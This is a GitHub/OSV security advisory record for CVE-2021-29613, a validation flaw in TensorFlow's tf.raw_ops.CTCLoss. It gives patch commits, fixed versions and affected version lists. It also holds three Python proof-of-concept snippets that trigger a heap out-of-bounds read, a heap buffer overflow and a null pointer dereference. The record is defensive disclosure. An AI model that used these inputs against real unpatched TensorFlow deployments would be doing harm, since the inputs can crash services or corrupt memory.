{"id":"GHSA-vvg4-vgrv-xfr7","summary":"Incomplete validation in `tf.raw_ops.CTCLoss`","details":"### Impact \nIncomplete validation in `tf.raw_ops.CTCLoss` allows an attacker to trigger an OOB read from heap:\n\n```python\nimport tensorflow as tf\n\ninputs = tf.constant([], shape=[10, 16, 0], dtype=tf.float32)\nlabels_indices = tf.constant([], shape=[8, 0], dtype=tf.int64)\nlabels_values = tf.constant([-100] * 8, shape=[8], dtype=tf.int32)\nsequence_length = tf.constant([-100] * 16, shape=[16], dtype=tf.int32)\n  \ntf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices,\n                   labels_values=labels_values, sequence_length=sequence_length,\n                   preprocess_collapse_repeated=True, ctc_merge_repeated=False,\n                   ignore_longer_outputs_than_inputs=True)\n```   \n      \nAn attacker can also trigger a heap buffer overflow:\n\n```python\nimport tensorflow as tf\n\ninputs = tf.constant([], shape=[7, 2, 0], dtype=tf.float32)\nlabels_indices = tf.constant([-100, -100], shape=[2, 1], dtype=tf.int64)\nlabels_values = tf.constant([-100, -100], shape=[2], dtype=tf.int32)\nsequence_length = tf.constant([-100, -100], shape=[2], dtype=tf.int32)\n\ntf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices,\n                   labels_values=labels_values, sequence_length=sequence_length,\n                   preprocess_collapse_repeated=False, ctc_merge_repeated=False,\n                   ignore_longer_outputs_than_inputs=False)\n```\n\nFinally, an attacker can trigger a null pointer dereference:\n\n```python \nimport tensorflow as tf\n\ninputs = tf.constant([], shape=[0, 2, 11], dtype=tf.float32)\nlabels_indices = tf.constant([], shape=[0, 2], dtype=tf.int64)\nlabels_values = tf.constant([], shape=[0], dtype=tf.int32)\nsequence_length = tf.constant([-100, -100], shape=[2], dtype=tf.int32)\n\ntf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices,\n                   labels_values=labels_values, sequence_length=sequence_length,\n                   preprocess_collapse_repeated=False, ctc_merge_repeated=False,\n                   ignore_longer_outputs_than_inputs=False)\n```\n\n### Patches\nWe have patched the issue in GitHub commit[14607c0707040d775e06b6817325640cb4b5864c](https://github.com/tensorflow/tensorflow/commit/14607c0707040d775e06b6817325640cb4b5864c) followed by GitHub commit [4504a081af71514bb1828048363e6540f797005b](https://github.com/tensorflow/tensorflow/commit/4504a081af71514bb1828048363e6540f797005b).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick these commits on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.","aliases":["BIT-tensorflow-2021-29613","CVE-2021-29613","PYSEC-2021-250","PYSEC-2021-541","PYSEC-2021-739"],"modified":"2026-09-10T03:49:06.057481500Z","published":"2021-05-21T14:28:39Z","database_specific":{"github_reviewed_at":"2021-05-17T21:46:09Z","nvd_published_at":"2021-05-14T20:15:00Z","cwe_ids":["CWE-125","CWE-665"],"severity":"MODERATE","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/tensorflow/tensorflow/security/advisories/GHSA-vvg4-vgrv-xfr7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-29613"},{"type":"WEB","url":"https://github.com/tensorflow/tensorflow/commit/14607c0707040d775e06b6817325640cb4b5864c"},{"type":"WEB","url":"https://github.com/tensorflow/tensorflow/commit/4504a081af71514bb1828048363e6540f797005b"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-541.yaml"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-739.yaml"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-250.yaml"},{"type":"PACKAGE","url":"https://github.com/tensorflow/tensorflow"}],"affected":[{"package":{"name":"tensorflow","ecosystem":"PyPI","purl":"pkg:pypi/tensorflow"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.1.4"}]}],"versions":["0.12.0","0.12.1","1.0.0","1.0.1","1.1.0","1.10.0","1.10.1","1.11.0","1.12.0","1.12.2","1.12.3","1.13.1","1.13.2","1.14.0","1.15.0","1.15.2","1.15.3","1.15.4","1.15.5","1.2.0","1.2.1","1.3.0","1.4.0","1.4.1","1.5.0","1.5.1","1.6.0","1.7.0","1.7.1","1.8.0","1.9.0","2.0.0","2.0.1","2.0.2","2.0.3","2.0.4","2.1.0","2.1.1","2.1.2","2.1.3"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/05/GHSA-vvg4-vgrv-xfr7/GHSA-vvg4-vgrv-xfr7.json"}},{"package":{"name":"tensorflow","ecosystem":"PyPI","purl":"pkg:pypi/tensorflow"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.2.0"},{"fixed":"2.2.3"}]}],"versions":["2.2.0","2.2.1","2.2.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/05/GHSA-vvg4-vgrv-xfr7/GHSA-vvg4-vgrv-xfr7.json"}},{"package":{"name":"tensorflow","ecosystem":"PyPI","purl":"pkg:pypi/tensorflow"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.3.0"},{"fixed":"2.3.3"}]}],"versions":["2.3.0","2.3.1","2.3.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/05/GHSA-vvg4-vgrv-xfr7/GHSA-vvg4-vgrv-xfr7.json"}},{"package":{"name":"tensorflow","ecosystem":"PyPI","purl":"pkg:pypi/tensorflow"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.4.0"},{"fixed":"2.4.2"}]}],"versions":["2.4.0","2.4.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/05/GHSA-vvg4-vgrv-xfr7/GHSA-vvg4-vgrv-xfr7.json"}},{"package":{"name":"tensorflow-cpu","ecosystem":"PyPI","purl":"pkg:pypi/tensorflow-cpu"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.1.4"}]}],"versions":["1.15.0","2.1.0","2.1.1","2.1.2","2.1.3"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/05/GHSA-vvg4-vgrv-xfr7/GHSA-vvg4-vgrv-xfr7.json"}},{"package":{"name":"tensorflow-cpu","ecosystem":"PyPI","purl":"pkg:pypi/tensorflow-cpu"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.2.0"},{"fixed":"2.2.3"}]}],"versions":["2.2.0","2.2.1","2.2.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/05/GHSA-vvg4-vgrv-xfr7/GHSA-vvg4-vgrv-xfr7.json"}},{"package":{"name":"tensorflow-cpu","ecosystem":"PyPI","purl":"pkg:pypi/tensorflow-cpu"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.3.0"},{"fixed":"2.3.3"}]}],"versions":["2.3.0","2.3.1","2.3.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/05/GHSA-vvg4-vgrv-xfr7/GHSA-vvg4-vgrv-xfr7.json"}},{"package":{"name":"tensorflow-cpu","ecosystem":"PyPI","purl":"pkg:pypi/tensorflow-cpu"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.4.0"},{"fixed":"2.4.2"}]}],"versions":["2.4.0","2.4.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/05/GHSA-vvg4-vgrv-xfr7/GHSA-vvg4-vgrv-xfr7.json"}},{"package":{"name":"tensorflow-gpu","ecosystem":"PyPI","purl":"pkg:pypi/tensorflow-gpu"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.1.4"}]}],"versions":["0.12.0","0.12.1","1.0.0","1.0.1","1.1.0","1.10.0","1.10.1","1.11.0","1.12.0","1.12.2","1.12.3","1.13.1","1.13.2","1.14.0","1.15.0","1.15.2","1.15.3","1.15.4","1.15.5","1.2.0","1.2.1","1.3.0","1.4.0","1.4.1","1.5.0","1.5.1","1.6.0","1.7.0","1.7.1","1.8.0","1.9.0","2.0.0","2.0.1","2.0.2","2.0.3","2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